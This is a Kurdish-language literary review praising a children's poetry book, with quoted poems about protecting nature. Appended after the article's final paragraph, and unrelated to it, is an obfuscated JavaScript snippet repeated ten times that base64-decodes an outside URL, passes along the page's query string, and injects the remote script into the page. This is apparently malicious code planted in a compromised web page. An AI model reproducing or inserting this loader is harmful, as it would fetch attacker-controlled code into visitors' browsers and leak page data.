چریسك و چەند تێبینییەك

ئەلند ئاكرەیی

هەلبەت ئەدەبێ زارۆكان و پویتە پێدان پێ نە كارەكێ هەرێ ئاسایی یە, بەلكو خۆدی چەندین ڕەهەند و ڕا و بۆچوونانە كو خودی هەر هەلبەستڤانەك ڕادبیت ب نڤیسینا هەلبەستان ژ بۆی زارۆكان, ژ بەركو پێگەیاندنا زارۆكان لسەر سێكوچكەیا ( ژینگەه, مال, قوتابخانە) دڤێت هزرمەند و خودان بەهرە و ئەزموون و سەربۆربیت و دنڤیسینێن خۆدا خودی هەلگرێ ە و فەرهەنگەكا تێر و تەسەلبیت, نەمازە زارۆك د قوناغا تێپەڕاندنا ژیێ خۆدا دڤێت نە بەس فێری خواندن و نڤیسینێ بیت, بەلكو ئەوان پێدڤی ب وەرگرتنا زانین و زانستان هەیە داكو شیانێن هزری و مەعریفی تێكهەلی ژینگەهەكا تەندروست ببن هەر د ڕیكا قۆناغا باخچێ زارۆكان و دیڤدا قوناغا سەرەتایی و بنەرەت دا هێدی هێدی د كەڤنە ناڤ لاندكا خواندنێ و هەمبێزا ژیانێ دە. ( سەركەفت)ـێ پەیڤ زێڕین د هەلبەستێن پەرتوكا(چریسك) دا شیایە هەڤسەنگیەكا ژیرانە دروست بكەت, و هەڤ پەیڤینەكێ د گەل زارۆكی بكەت كو دێ چەوا شێتن شیانێن خۆ ئاراستە كەت و رگانێن خۆ یێن زانستی دەربێخیت و بەرڤ بسپۆرمەندیەكا كو قەناعەت و باوەری ب خۆبوون هەبیت كو تاكەكێ ئەكتیڤە د جڤاكیدا و د هەر هەلبەستەكێ دا شیایە ب ژیرانە و بسپۆرمەندانە ئافراندنێ بۆ تێكستان بكەت و هەر وەتۆڤ د هەر هەلبەستەكێ دا ڕاستگۆیی تێدا دیاربیت كو (سەركەفت) نە بەس خودی كەسایەتییەك هشیار و شیرەتڤانەكێ هەری باشە, بەلكو نڤیسكارەك و ڕەوشەنبیرەك ئاڤاكارە د شاكارێن هەلبەستێن زارۆكان دا هەر وەكی د هەلبەستا ژینگەه دەما دبێژیت:
دێ خۆ دویركەم لڤان كارا
ناشكینم چ دار و بارا
ئەز هەڤالێ ژینگەهێ مە
نا سوژم پیشێ ئاقارا
**
كو د چمە گەشت و سەیرانێ
مەها ئادار و نیسانێ
دێ ژینگەهێ خۆ پارێزم
خەمل و ڕەوشا كوردستانێ
ها لێرە بۆ مە خویا دب ڕەهەند و سیمایێن شارستانی كو دڤێت تەڤایا زارۆكان پێگیرێ ژینگەهەكا ب خەمل و رەوشبن و ئەگەر تە ژینگەهەكا پاكژ هەبیتن ئەو جێه دبنە جهێ سەرنج ڕاكێشیا گەشتیاران و ل دویڤ دا د بیتە داهاتەكێ ناڤخۆیی یێ نیشتیمانی, دیسان د هەلبەستا (حەجی لەق لەق) كو ئێك ژ بالندەیێن هەرە نزیكە ل مرۆڤان و لنێزیك دەروازەیێن شار و شاروچكەیان و ل منارە و گۆپیتكێن مزگەڤت و دار و ستوینان د ژین و هێلینێن خۆ دروست دكەن, یا پێتڤیبا چەندین بالندە و تەیر و تەوال و بلبل ژی دابانە نیاسین ژ بەركو نێزیكی مرۆڤان دبن هیڤیە ل بەرهەمێن داهاتیدا ئەڤ تێبینی بهێنە بەرچاڤ وەرگرتن.
هەر لسەر ئەدەبێ زارۆكاندا دڤێت ئانكو داهێنەر كۆمەكا ڕێنما و پێزانینا و خواندنەك بۆ یاسایێ و سەروەریا وێ نیشا ب دەت كو پتر ڕۆلێ مامۆستایەكی و ڕێنیشاندەرەكی ببینیت بەلكو شارەزایی و بسپۆرمەندیەك ژ بۆ داناسینەكا ڕاست و دروست و رەوشەنبیریەكا باش و خواندنەك ل دەڤ هەبیت لسەر چەوانیا سەرەدەریێ دگەل زارۆكان بكەت، ڤێجا چ بڕێكا كورتە چیڕۆكان بیت یان هەلبەستان بیت, هەلبەت هەر نڤیسینەكێ كارتێكرنێن ئەرێنی و نەرێنیێن خۆ هەنە, نە زارۆك ڕاستەوخۆ سەردەریێ دگەل بكەت و هند جاران پێدڤی ب ئازادیا ڕا دەربڕینێ و گەهاندنا مافان هەیە، هند ژ ئالیێ‌ رێكخراوێن حوكومی و فەرمینە و هند ژی لسەر رێكخراوێن ناحكومی بیانینە, هەتاكو مە زارۆكەك ئازاد هەبیت و تاكەكێ تەندروست و ساخلەم هەبیت چ ژ ئالیێ‌ جەستەیی ڤە چ ئالیێ‌ هزری و هزاران ڤە و هەمبەر و قەبولكرنا ئەوێ دیترە, دیسان دبێژم گەر زارۆك ل ژیێ زارۆكینیا خۆدا نە گەهیت ب ڤان مافان كو دبێژنێ مافێ زارۆكان ئەو زارۆك دێ كەسەكێ لاواز و تەمبەل بیت و دێ تویشی دەهان نەخۆشیێن دەرونی و وتیزمێ بیت. ب واتایەكا دیتر؛ كەسێن دوگمەن دەردكەڤن كویێن زیرەك و چالاكڤان بن, (سەركەفت زوهێر) شیایە هند گاڤان د گەل زارۆكان هەلینیت و ئەگەر بۆ داهاتی بشێت پتر خۆ داهێلتە جیهانا زارۆكان د كاریت ببیتە مامۆستلیەكێ خودان بەهرە و شارەزا دبوارێ ئەدەب وێژەیا اۆا دا.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە